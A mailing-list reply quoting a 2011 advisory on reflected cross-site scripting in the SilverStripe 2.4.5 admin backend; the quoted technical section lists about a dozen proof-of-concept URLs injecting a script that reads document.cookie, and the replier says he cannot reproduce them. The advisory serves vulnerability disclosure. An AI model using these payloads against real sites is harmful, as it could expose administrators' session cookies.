Re: SilverStripe 2.4.5 Multiple backend Cross-site scripting vulnerabilities

[Henri Salo <henri@xxxxxxx>]

On Sat, Oct 08, 2011 at 08:22:12AM +0000, sschurtz@xxxxxxxxxxx wrote:
> Advisory:                     SilverStripe 2.4.5 Multiple backend Cross-site 
> scripting vulnerabilities
> Advisory ID:                  SSCHADV2011-024
> Author:               Stefan Schurtz
> Affected Software:    Successfully tested on SilverStripe 2.4.5
> Vendor URL:           http://www.silverstripe.com/
> Vendor Status:        informed
> CVE-ID:                       -
> 
> ==========================
> Vulnerability Description:
> ==========================
> 
> SilverStripe 2.4.5 backend is prone to multiple Cross-site scripting 
> vulnerabilities
> 
> ==================
> Technical Details:
> ==================
> 
> Backend - XSS
> 
> http://<target>/SilverStripe-v2.4.5/admin/reports/?'"</script><script>alert(document.cookie)</script>
> http://<target>/SilverStripe-v2.4.5/admin/comments/?'"</script><script>alert(document.cookie)</script>
> http://<target>/SilverStripe-v2.4.5/admin/?'"</script><script>alert(document.cookie)</script>
> http://<target>/SilverStripe-v2.4.5/admin/show/4?'"</script><script>alert(document.cookie)</script>
> http://<target>/SilverStripe-v2.4.5/admin/show/2?'"</script><script>alert(document.cookie)</script>
> http://<target>/SilverStripe-v2.4.5/admin/show/root?'"</script><script>alert(document.cookie)</script>
> http://<target>/SilverStripe-v2.4.5/admin/show/3?'"</script><script>alert(document.cookie)</script>
> http://<target>/SilverStripe-v2.4.5/admin/show/?'"</script><script>alert(document.cookie)</script>
> http://<target>/SilverStripe-v2.4.5/admin/assets/?'"</script><script>alert(document.cookie)</script>
> http://<target>/SilverStripe-v2.4.5/admin/show/1?'"</script><script>alert(document.cookie)</script>
> http://<target>/SilverStripe-v2.4.5/admin/show/5?'"</script><script>alert(document.cookie)</script>
> http://<target>/SilverStripe-v2.4.5/admin/security/?'"</script><script>alert(document.cookie)</script>
> 
> =========
> Solution:
> =========
> 
> -
> 
> ====================
> Disclosure Timeline:
> ====================
> 
> 05-Oct-2011 - informed developers
> 06-Oct-2011 - release date of this security advisory
> 
> ========
> Credits:
> ========
> 
> Vulnerabilities found and advisory written by Stefan Schurtz.
> 
> ===========
> References:
> ===========
> 
> http://www.silverstripe.com/
> http://www.rul3z.de/advisories/SSCHADV2011-024.txt

I am unable to reproduce these issues. What is your reply SilverStripe? Any 
plan on patching?

Best regards,
Henri Salo